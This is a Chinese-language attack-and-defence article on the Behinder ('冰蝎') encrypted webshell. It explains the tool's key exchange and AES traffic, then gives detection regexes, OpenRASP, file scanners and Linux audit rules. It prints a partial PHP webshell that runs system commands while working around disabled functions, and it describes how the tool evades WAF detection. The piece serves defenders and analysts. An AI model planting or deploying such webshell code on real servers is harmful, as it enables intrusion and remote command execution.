红蓝对抗——加密Webshell“冰蝎”攻防
字数 1969 2025-08-26 22:11:56

加密Webshell工具"冰蝎"攻防技术详解

一、冰蝎工具概述

冰蝎(Behinder)是一款动态二进制加密的网站管理客户端,是目前流行的加密Webshell工具之一。相比传统Webshell管理工具如"菜刀",冰蝎具有以下特点:

  1. 流量加密:所有通信流量都经过加密处理,难以被传统WAF、WebIDS设备检测
  2. 功能强大:支持虚拟终端、socks代理、文件管理、反弹shell、数据库管理等
  3. 跨平台支持:兼容PHP、ASP等多种环境,最新版本为v2.1
  4. 免杀性强:能够绕过大多数Webshell检测工具

项目地址:https://github.com/rebeyond/Behinder

二、冰蝎加密原理分析

PHP环境加密流程

  1. 密钥协商阶段

    • 客户端以GET请求发起带密码的握手请求
    • 服务端产生随机16位密钥并写入Session
    • 服务端返回生成的密钥给客户端
  2. 命令执行阶段

    • 客户端将源代码(如assert|eval("phpinfo();"))利用AES加密
    • 加密后的数据发送至服务端
    • 服务端进行AES解密得到中间结果字符串
    • 服务端利用explode函数拆分字符串为数组
    • 以可变函数方式调用数组元素执行命令

流量特征示例

  1. 密钥协商流量

    • GET请求URL中带有参数如?pass=xxx
    • 服务端返回16位密钥,如0x7037af5d95561f3d
    • 对应的Session ID如466geshjq6hr15kbmd72ju24g5
  2. 加密通信流量

    • 所有后续通信都经过AES加密
    • 解密后命令通常经过Base64编码
    • 最终执行的命令如pwdwhoami

三、冰蝎Webshell分析

PHP Webshell示例代码

@error_reporting(0);
function getSafeStr($str){
    $s1 = iconv('utf-8','gbk//IGNORE',$str);
    $s0 = iconv('gbk','utf-8//IGNORE',$s1);
    if($s0 == $str){ return $s0; }else{ return iconv('gbk','utf-8//IGNORE',$str); }
}

function main($cmd){
    @set_time_limit(0);
    @ignore_user_abort(1);
    @ini_set('max_execution_time', 0);
    $result = array();
    $PadtJn = @ini_get('disable_functions');
    // ... 省略部分代码 ...
    $c = $cmd;
    if (FALSE !== strpos(strtolower(PHP_OS), 'win')) { $c = $c . " 2>&1\n"; }
    
    // 尝试多种命令执行方式
    if (is_callable('system') && !in_array('system', $PadtJn)) {
        ob_start(); system($c); $kWJW = ob_get_contents(); ob_end_clean();
    } else if (is_callable('proc_open') && !in_array('proc_open', $PadtJn)) {
        // ... 其他执行方式 ...
    }
    // ... 省略部分代码 ...
    $result["status"] = base64_encode("success");
    $result["msg"] = base64_encode(getSafeStr($kWJW));
    echo encrypt(json_encode($result), $_SESSION['k']);
}

function encrypt($data,$key){
    if(!extension_loaded('openssl')) {
        // 无openssl时的简单异或加密
        for($i=0;$i<strlen($data);$i++) { $data[$i] = $data[$i]^$key[$i+1&15]; }
        return $data;
    } else {
        return openssl_encrypt($data, "AES128", $key);
    }
}

$cmd="pwd";
main($cmd);

关键功能特点

  1. 多命令执行方式:尝试system、proc_open、passthru、shell_exec、exec等多种方式
  2. 结果处理:对命令执行结果进行编码和安全处理
  3. 自适应加密:根据环境选择AES或简单异或加密
  4. 绕过disable_functions:检查被禁用的函数并选择可用方式

四、检测与防御方案

1. 流量侧检测

检测思路

  • 识别密钥协商阶段的特征性请求
  • 检测返回的16位密钥格式
  • 监控异常加密流量模式

具体规则

  1. GET请求特征检测:
    /[\w.]*.[a-zA-Z]{3,4}\?\w{0,20}=\d{0,10}
    
  2. 返回包密钥特征检测:
    ^[a-fA-F0-9]{16}$
    
  3. Webshell文件特征检测:
    • 包含openssl_decryptbase64eval等关键字
    • 可疑的函数调用组合

局限性

  • 特征可能被攻击者修改
  • 存在一定误报率
  • 需要结合业务流量调整

2. 应用侧检测 - OpenRASP

RASP技术优势

  • 几乎无误报:仅检测成功的攻击
  • 发现更多攻击:能看到完整执行上下文
  • 对抗未知漏洞:基于行为检测而非特征

OpenRASP部署

  1. 支持Java和PHP环境
  2. 安装后会在响应头添加X-Protected-By:OpenRASP字段
  3. 能检测加密流量中的恶意命令执行

检测示例

  • 可准确识别whoami等命令执行
  • 提供详细的攻击上下文信息

局限性

  • 对应用侵入性较大
  • 可能影响系统性能
  • 大规模部署运维复杂

3. 主机侧检测

方案一:Webshell文件扫描

  • 使用工具:D盾、河马、webdir+
  • 检测结果:
    • 对v1.2版本检出率约20%
    • 对v2.1版本检出率较低(webdir+约60%)
  • 局限性:时效性差,易被清理

方案二:Linux audit日志监控

  1. 配置审计规则:

    auditctl -D
    auditctl -a always,exit -F arch=b64 -S execve -k rule01_exec_command
    
  2. 监控关键信息:

    • 执行命令的用户(uid)和进程(pid/ppid)
    • 命令执行路径(cwd)
    • Web目录下的可疑命令执行
  3. 日志分析要点:

    • type=SYSCALL:记录系统调用信息
    • type=EXECVE:记录执行的程序及参数
    • type=CWD:记录命令执行目录

Windows平台

  • 可考虑类似的事件日志监控机制
  • 关注进程创建事件(4688)等

五、综合防御建议

  1. 纵深防御体系

    • 流量层:部署加密流量检测规则
    • 应用层:考虑RASP技术补充防护
    • 主机层:加强日志审计和文件监控
  2. 持续安全运营

    • 定期更新检测规则
    • 分析业务流量模式调整策略
    • 建立异常行为基线
  3. 多技术协同

    • 结合静态特征与动态行为分析
    • 关联分析Web访问日志与系统日志
    • 构建威胁情报共享机制
  4. 应急响应

    • 制定Webshell事件响应流程
    • 保留完整攻击证据链
    • 进行彻底的痕迹清除和加固

六、总结

冰蝎等加密Webshell工具的出现,使得传统基于特征的安全检测手段面临挑战。防守方需要:

  1. 深入理解攻击工具的原理和特征
  2. 采用多层次的检测防御技术
  3. 结合静态检测与动态行为分析
  4. 持续优化安全运营策略

只有构建纵深防御体系,才能有效应对日益隐蔽的Web攻击,提升整体安全防护水平。

加密Webshell工具"冰蝎"攻防技术详解 一、冰蝎工具概述 冰蝎(Behinder)是一款动态二进制加密的网站管理客户端,是目前流行的加密Webshell工具之一。相比传统Webshell管理工具如"菜刀",冰蝎具有以下特点: 流量加密 :所有通信流量都经过加密处理,难以被传统WAF、WebIDS设备检测 功能强大 :支持虚拟终端、socks代理、文件管理、反弹shell、数据库管理等 跨平台支持 :兼容PHP、ASP等多种环境,最新版本为v2.1 免杀性强 :能够绕过大多数Webshell检测工具 项目地址:https://github.com/rebeyond/Behinder 二、冰蝎加密原理分析 PHP环境加密流程 密钥协商阶段 : 客户端以GET请求发起带密码的握手请求 服务端产生随机16位密钥并写入Session 服务端返回生成的密钥给客户端 命令执行阶段 : 客户端将源代码(如 assert|eval("phpinfo();") )利用AES加密 加密后的数据发送至服务端 服务端进行AES解密得到中间结果字符串 服务端利用 explode 函数拆分字符串为数组 以可变函数方式调用数组元素执行命令 流量特征示例 密钥协商流量 : GET请求URL中带有参数如 ?pass=xxx 服务端返回16位密钥,如 0x7037af5d95561f3d 对应的Session ID如 466geshjq6hr15kbmd72ju24g5 加密通信流量 : 所有后续通信都经过AES加密 解密后命令通常经过Base64编码 最终执行的命令如 pwd 、 whoami 等 三、冰蝎Webshell分析 PHP Webshell示例代码 关键功能特点 多命令执行方式 :尝试system、proc_ open、passthru、shell_ exec、exec等多种方式 结果处理 :对命令执行结果进行编码和安全处理 自适应加密 :根据环境选择AES或简单异或加密 绕过disable_ functions :检查被禁用的函数并选择可用方式 四、检测与防御方案 1. 流量侧检测 检测思路 : 识别密钥协商阶段的特征性请求 检测返回的16位密钥格式 监控异常加密流量模式 具体规则 : GET请求特征检测: 返回包密钥特征检测: Webshell文件特征检测: 包含 openssl_decrypt 、 base64 、 eval 等关键字 可疑的函数调用组合 局限性 : 特征可能被攻击者修改 存在一定误报率 需要结合业务流量调整 2. 应用侧检测 - OpenRASP RASP技术优势 : 几乎无误报:仅检测成功的攻击 发现更多攻击:能看到完整执行上下文 对抗未知漏洞:基于行为检测而非特征 OpenRASP部署 : 支持Java和PHP环境 安装后会在响应头添加 X-Protected-By:OpenRASP 字段 能检测加密流量中的恶意命令执行 检测示例 : 可准确识别 whoami 等命令执行 提供详细的攻击上下文信息 局限性 : 对应用侵入性较大 可能影响系统性能 大规模部署运维复杂 3. 主机侧检测 方案一:Webshell文件扫描 使用工具:D盾、河马、webdir+ 检测结果: 对v1.2版本检出率约20% 对v2.1版本检出率较低(webdir+约60%) 局限性:时效性差,易被清理 方案二:Linux audit日志监控 配置审计规则: 监控关键信息: 执行命令的用户(uid)和进程(pid/ppid) 命令执行路径(cwd) Web目录下的可疑命令执行 日志分析要点: type=SYSCALL :记录系统调用信息 type=EXECVE :记录执行的程序及参数 type=CWD :记录命令执行目录 Windows平台 : 可考虑类似的事件日志监控机制 关注进程创建事件(4688)等 五、综合防御建议 纵深防御体系 : 流量层:部署加密流量检测规则 应用层:考虑RASP技术补充防护 主机层:加强日志审计和文件监控 持续安全运营 : 定期更新检测规则 分析业务流量模式调整策略 建立异常行为基线 多技术协同 : 结合静态特征与动态行为分析 关联分析Web访问日志与系统日志 构建威胁情报共享机制 应急响应 : 制定Webshell事件响应流程 保留完整攻击证据链 进行彻底的痕迹清除和加固 六、总结 冰蝎等加密Webshell工具的出现,使得传统基于特征的安全检测手段面临挑战。防守方需要: 深入理解攻击工具的原理和特征 采用多层次的检测防御技术 结合静态检测与动态行为分析 持续优化安全运营策略 只有构建纵深防御体系,才能有效应对日益隐蔽的Web攻击,提升整体安全防护水平。